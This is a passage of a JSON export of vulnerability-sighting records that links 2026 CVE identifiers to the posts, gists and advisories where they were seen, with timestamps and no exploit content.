"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27574", "type": "seen", "source": "https://gist.github.com/alon710/27b5330e9ad9b4c71364cae5abf38cc8", "content": "", "creation_timestamp": "2026-02-25T01:08:15.000000Z"}, {"uuid": "6766c778-e881-4edf-ada7-b8371ae7fe89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27571", "type": "seen", "source": "https://gist.github.com/alon710/fd5d02a6656a9e8c9e49f270ac2dcd9c", "content": "", "creation_timestamp": "2026-02-25T01:08:14.000000Z"}, {"uuid": "e620fb45-2d3a-4afd-99ea-29c074585329", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27598", "type": "seen", "source": "https://gist.github.com/alon710/480174591eb6132e0bdd40c5ba8bebdc", "content": "", "creation_timestamp": "2026-02-25T01:07:53.000000Z"}, {"uuid": "1b5b1568-66b2-4ba2-b0e5-5535ff68b0f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27515", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfpcaxsjfl2e", "content": "", "creation_timestamp": "2026-02-25T18:20:10.463227Z"}, {"uuid": "c74c10c8-3039-44a5-bb22-a98d4273c144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27127", "type": "seen", "source": "https://gist.github.com/alon710/3f7f74f3d1eb4a242e59e84127b6e27c", "content": "", "creation_timestamp": "2026-02-25T01:08:21.000000Z"}, {"uuid": "6137ffd6-58b7-41a7-97cf-2053af5a8b88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27469", "type": "seen", "source": "https://gist.github.com/alon710/b49abcb62186b1e9a08e776c001b1b45", "content": "", "creation_timestamp": "2026-02-25T01:08:13.000000Z"}, {"uuid": "cc3075dc-5cbb-4a2e-a301-2675942724b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27692", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfpchqnl5h2u", "content": "", "creation_timestamp": "2026-02-25T18:23:57.383503Z"}, {"uuid": "bcc0f12c-fa1a-45bb-9934-00ecb16bf17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27141", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvxrxbj4j2c", "content": "", "creation_timestamp": "2026-02-28T10:01:27.348438Z"}, {"uuid": "5cea96cc-306d-4ab9-918a-3920f2257acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvxs6krgb2s", "content": "", "creation_timestamp": "2026-02-28T10:01:34.921029Z"}, {"uuid": "f63d9366-3947-43d2-8573-1bb9edf4869e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27509", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mg4eadkg7e2j", "content": "", "creation_timestamp": "2026-03-02T23:00:13.282549Z"}, {"uuid": "281ac871-0ed7-4118-92ea-5d39b294c30c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27884", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/116178779673639923", "content": "", "creation_timestamp": "2026-03-05T21:51:33.071681Z"}, {"uuid": "81d8b11c-1697-44e8-957c-d9d62ea9fbfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2749", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mftv7w4qea2s", "content": "", "creation_timestamp": "2026-02-27T14:10:14.827005Z"}, {"uuid": "a6240a8e-a3a5-449e-b0a3-96bab3072068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27510", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mg4eadkg7e2j", "content": "", "creation_timestamp": "2026-03-02T23:00:13.419605Z"}, {"uuid": "1dca257e-2c56-40fa-92ed-c5404019129c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27884", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mgdrsgywnzd2", "content": "", "creation_timestamp": "2026-03-05T21:51:41.880877Z"}, {"uuid": "bba936c7-fb1f-4d25-bebe-226079d00da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27142", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgghp3nyzj2y", "content": "", "creation_timestamp": "2026-03-06T23:28:46.781599Z"}, {"uuid": "b6ffdaa6-ee4b-4344-8059-a26f0384598a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27129", "type": "seen", "source": "https://gist.github.com/alon710/2a6bff36b163c3eb59d13fedcce793b9", "content": "", "creation_timestamp": "2026-02-25T01:08:11.000000Z"}, {"uuid": "23053e32-a957-4c54-914b-af335d3eb0d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27590", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpcpkv6tq26", "content": "", "creation_timestamp": "2026-02-25T18:28:20.368153Z"}, {"uuid": "94569c37-517d-4fc6-a5a0-be02b05e6e3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2750", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mftv7w4qea2s", "content": "", "creation_timestamp": "2026-02-27T14:10:14.898075Z"}, {"uuid": "acf95dca-83d9-49df-9698-85839d156a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27586", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpcprdxyu2s", "content": "", "creation_timestamp": "2026-02-25T18:28:27.647756Z"}, {"uuid": "45f32559-a52a-4bf3-bb70-2721ba1959c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2751", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mftv7w4qea2s", "content": "", "creation_timestamp": "2026-02-27T14:10:14.983035Z"}, {"uuid": "db29f6b4-a639-4e81-bc80-b214c5f9212a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27587", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpcpy4bex2c", "content": "", "creation_timestamp": "2026-02-25T18:28:34.147342Z"}, {"uuid": "ed2e6444-b3f4-4da7-ae86-59e76cf3befe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27959", "type": "seen", "source": "https://gist.github.com/alon710/9c24edd6758ed34c527e00be66673a79", "content": "", "creation_timestamp": "2026-02-27T02:40:18.000000Z"}, {"uuid": "09eae527-ec12-4927-bb9f-4553d6927f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27800", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg7fhss2p32a", "content": "", "creation_timestamp": "2026-03-04T04:00:16.988055Z"}, {"uuid": "a8124a15-511b-42ed-bb4c-ddcf0787d1d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2753", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghoeoro2y25", "content": "", "creation_timestamp": "2026-03-07T11:00:54.307602Z"}, {"uuid": "1a4a93c5-c2c2-47a1-b004-dd2d4c2a2118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27953", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mi3c4qzuwg2f", "content": "", "creation_timestamp": "2026-03-27T23:40:09.428599Z"}, {"uuid": "17aabcfd-9a9e-48a3-8b42-3e1914e6488e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27065", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhfoluekqx2s", "content": "", "creation_timestamp": "2026-03-19T09:24:46.724648Z"}, {"uuid": "32356e51-2aa6-4cd7-ab0b-a456448ce91f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27044", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhwcdq3izh2s", "content": "", "creation_timestamp": "2026-03-26T00:00:44.586476Z"}, {"uuid": "fe7da472-28bb-4a09-8b10-45af521d040f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27858", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi3cbzb34r2s", "content": "", "creation_timestamp": "2026-03-27T23:43:06.357846Z"}, {"uuid": "aaea4397-38e7-4be2-aefa-9f0cd847da19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27067", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhfoqpykwv2f", "content": "", "creation_timestamp": "2026-03-19T09:27:30.219440Z"}, {"uuid": "592e23f5-d186-40c4-8f23-a7fc84cecf28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27067", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116255138316553665", "content": "", "creation_timestamp": "2026-03-19T09:30:34.017374Z"}, {"uuid": "a7517419-2926-43dd-8791-6783e3a5e4eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27067", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhfowazivs2c", "content": "", "creation_timestamp": "2026-03-19T09:30:35.633932Z"}, {"uuid": "1907117e-803b-4733-976a-53843fbf2b6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "seen", "source": "https://gist.github.com/sizhangzhaodd/15d79f1e131ff588eab300433df561ba", "content": "", "creation_timestamp": "2026-03-13T22:45:26.000000Z"}, {"uuid": "2f3d6bb9-ac4f-463e-956c-a8a0984e2e3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27650", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhzovl5hnw2o", "content": "", "creation_timestamp": "2026-03-27T08:23:27.128532Z"}, {"uuid": "69aa8dbd-2d43-4df2-b038-2498696f712c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27093", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mhfpcr4qdb2h", "content": "", "creation_timestamp": "2026-03-19T09:37:36.950377Z"}, {"uuid": "9625482f-d98e-44f0-bad3-ea6d2ee58011", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27650", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi3ccyswpa2c", "content": "", "creation_timestamp": "2026-03-27T23:43:39.045659Z"}, {"uuid": "09bf37dd-90a0-4d93-bd88-f0219b33b5ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27784", "type": "seen", "source": "https://my.f5.com/manage/s/article/K000160366", "content": "", "creation_timestamp": "2026-03-25T03:00:09.000000Z"}, {"uuid": "728c7aa3-0910-4249-b6d9-45a7e65e9ab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27650", "type": "seen", "source": "https://jvn.jp/en/jp/JVN83788689/", "content": "", "creation_timestamp": "2026-03-27T03:00:00.000000Z"}, {"uuid": "f841afe9-cbc9-440d-a210-14dcf3e7a7fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://my.f5.com/manage/s/article/K000160366", "content": "", "creation_timestamp": "2026-03-25T03:00:09.000000Z"}, {"uuid": "190c9dd7-9514-4a8d-8a9f-7fce909d09d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27651", "type": "seen", "source": "https://my.f5.com/manage/s/article/K000160366", "content": "", "creation_timestamp": "2026-03-25T03:00:09.000000Z"}, {"uuid": "f902af9a-7a7d-4a11-9dd0-e1742c5f1e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27858", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116300319602682921", "content": "", "creation_timestamp": "2026-03-27T09:00:45.384141Z"}, {"uuid": "3fee4345-4f28-4e23-862f-b9a5e6a48be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27858", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhzqyd3ezr2r", "content": "", "creation_timestamp": "2026-03-27T09:00:47.273781Z"}, {"uuid": "42d39052-d36e-4bf5-a1e6-59df879648c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27459", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mhqgu2fwbtq2", "content": "", "creation_timestamp": "2026-03-23T16:05:34.417784Z"}, {"uuid": "637fd121-fe5f-41bd-9fe9-1f7116a1c06a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27309", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mi3icmt6a526", "content": "", "creation_timestamp": "2026-03-28T01:30:48.202687Z"}, {"uuid": "e1f25644-d8fb-4d58-8678-e82a07b2a636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27651", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mibyp7yfjx2r", "content": "", "creation_timestamp": "2026-03-30T15:40:09.461643Z"}, {"uuid": "d43f3526-e9ae-4ac6-ad27-c084bfb72e79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27842", "type": "seen", "source": "https://jvndb.jvn.jp/en/contents/2026/JVNDB-2026-006887.html", "content": "", "creation_timestamp": "2026-03-16T03:00:08.000000Z"}, {"uuid": "80d2ae4d-e3cb-411a-ba54-c08c7d6e9d68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27697", "type": "seen", "source": "https://jvn.jp/en/jp/JVN20837860/", "content": "", "creation_timestamp": "2026-03-27T03:00:45.000000Z"}, {"uuid": "67f9acac-f51a-40e8-8109-152340a6e4d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhoqw3swrw2i", "content": "", "creation_timestamp": "2026-03-23T00:00:15.112056Z"}, {"uuid": "6c0dffd1-0c58-43b9-9b32-a02b9ee063c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27190", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgvehm7atg2o", "content": "", "creation_timestamp": "2026-03-12T21:40:50.324986Z"}, {"uuid": "f99f1258-5e77-4bf5-9d30-4547d1cc1d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhzucnqzqi2c", "content": "", "creation_timestamp": "2026-03-27T10:00:14.895682Z"}, {"uuid": "1f97391c-4248-48b5-a274-322151b3363b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27889", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27889", "content": "", "creation_timestamp": "2026-03-25T19:16:27.000000Z"}, {"uuid": "bf9ddc70-c242-4f6c-8e17-c9b039eb843a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27571", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-33219", "content": "", "creation_timestamp": "2026-03-25T19:16:32.000000Z"}, {"uuid": "50398b2e-616a-4e0e-8522-0913451cbdf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27493", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhmd52lmjc2x", "content": "", "creation_timestamp": "2026-03-22T00:48:22.453821Z"}, {"uuid": "f8c6f448-dc4d-491e-ba3c-572154ae35e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27493", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhmdclqrm22x", "content": "", "creation_timestamp": "2026-03-22T00:51:25.213427Z"}, {"uuid": "24a28343-ad40-47b3-88bd-df5b5f9cd712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27205", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mhdgqaw3goc2", "content": "", "creation_timestamp": "2026-03-18T11:58:48.943151Z"}, {"uuid": "e3a54472-a83c-4993-a34e-fb91e3c5d799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27685", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhjyowvq3c2u", "content": "", "creation_timestamp": "2026-03-21T02:36:10.937245Z"}, {"uuid": "0af114ce-515b-4b13-80f8-72149c9afe33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27566", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhhp5tmhf323", "content": "", "creation_timestamp": "2026-03-20T04:40:09.413825Z"}, {"uuid": "c5bca6a0-2781-418e-93ab-7370c5731bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27278", "type": "seen", "source": "https://helpx.adobe.com/security/products/acrobat/apsb26-26.html", "content": "", "creation_timestamp": "2026-03-11T03:00:18.000000Z"}, {"uuid": "b8123c3c-e559-452d-9e65-3aa17665fab3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27591", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgvixli7oh2f", "content": "", "creation_timestamp": "2026-03-12T23:01:22.442423Z"}, {"uuid": "29bdd6d9-0f60-428f-a8bc-9d5b0026090c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27221", "type": "seen", "source": "https://helpx.adobe.com/security/products/acrobat/apsb26-26.html", "content": "", "creation_timestamp": "2026-03-11T03:00:18.000000Z"}, {"uuid": "79ed5fdf-53f7-4260-8536-744d6bc1d0e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27220", "type": "seen", "source": "https://helpx.adobe.com/security/products/acrobat/apsb26-26.html", "content": "", "creation_timestamp": "2026-03-11T03:00:18.000000Z"}, {"uuid": "8ac1ad0f-ee4c-41db-8a73-355c3c5056cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-nginx", "content": "", "creation_timestamp": "2026-03-26T10:57:30.000000Z"}, {"uuid": "848101d6-8f1b-49b8-b04b-1b9013785c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27651", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-nginx", "content": "", "creation_timestamp": "2026-03-26T10:57:30.000000Z"}, {"uuid": "75cefbfd-2dae-4f4e-92aa-b271b80cabc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27685", "type": "seen", "source": "https://thehackernews.com/2026/03/dozens-of-vendors-patch-security-flaws.html", "content": "", "creation_timestamp": "2026-03-11T11:26:00.000000Z"}, {"uuid": "61651b8e-3eb5-4756-b3c2-9ab3677ee4c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "be79f879-9a8c-4029-992d-d7545befb9d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-011/", "content": "", "creation_timestamp": "2026-03-16T00:00:00.000000Z"}, {"uuid": "decea18a-53ac-4e3f-a204-5b93343662e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27606", "type": "seen", "source": "https://gist.github.com/jfrantz-cw/7363eda31101a3eee0cbd3579d22e0d2", "content": "", "creation_timestamp": "2026-03-11T16:55:24.000000Z"}, {"uuid": "9f16ea0e-7fb3-469b-a0ae-090bbf752fb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27141", "type": "seen", "source": "https://bsky.app/profile/dbt3.ch/post/3mgvqpkdona2m", "content": "", "creation_timestamp": "2026-03-13T01:20:01.870000Z"}, {"uuid": "d4ccf5c6-5183-4a64-be5b-10944f9f69b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27493", "type": "seen", "source": "https://thehackernews.com/2026/03/critical-n8n-flaws-allow-remote-code.html", "content": "", "creation_timestamp": "2026-03-11T13:51:00.000000Z"}, {"uuid": "7f96b137-564f-47cd-b720-e2f05da48cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27138", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0299/", "content": "", "creation_timestamp": "2026-03-16T00:00:00.000000Z"}, {"uuid": "505adfeb-5e09-4282-848b-a5d5a3de08bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtisjcsf26", "content": "", "creation_timestamp": "2026-03-26T14:40:27.951808Z"}, {"uuid": "d525b032-798d-4c75-9d60-e7054bfc0d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://thehackernews.com/2026/03/critical-n8n-flaws-allow-remote-code.html", "content": "", "creation_timestamp": "2026-03-11T13:51:00.000000Z"}, {"uuid": "67f59142-aff0-44b3-849c-d0b2b675e53f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27971", "type": "seen", "source": "https://gist.github.com/alon710/dd7ce6343fb3c4caed99cdfa0a07695a", "content": "", "creation_timestamp": "2026-03-13T01:50:05.000000Z"}, {"uuid": "de42ec98-e911-4ff9-a3ee-5cd5ffcb9b59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27880", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtisjcsf26", "content": "", "creation_timestamp": "2026-03-26T14:40:28.045669Z"}, {"uuid": "9eacce37-02fa-4d31-be30-9b24c7c06a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 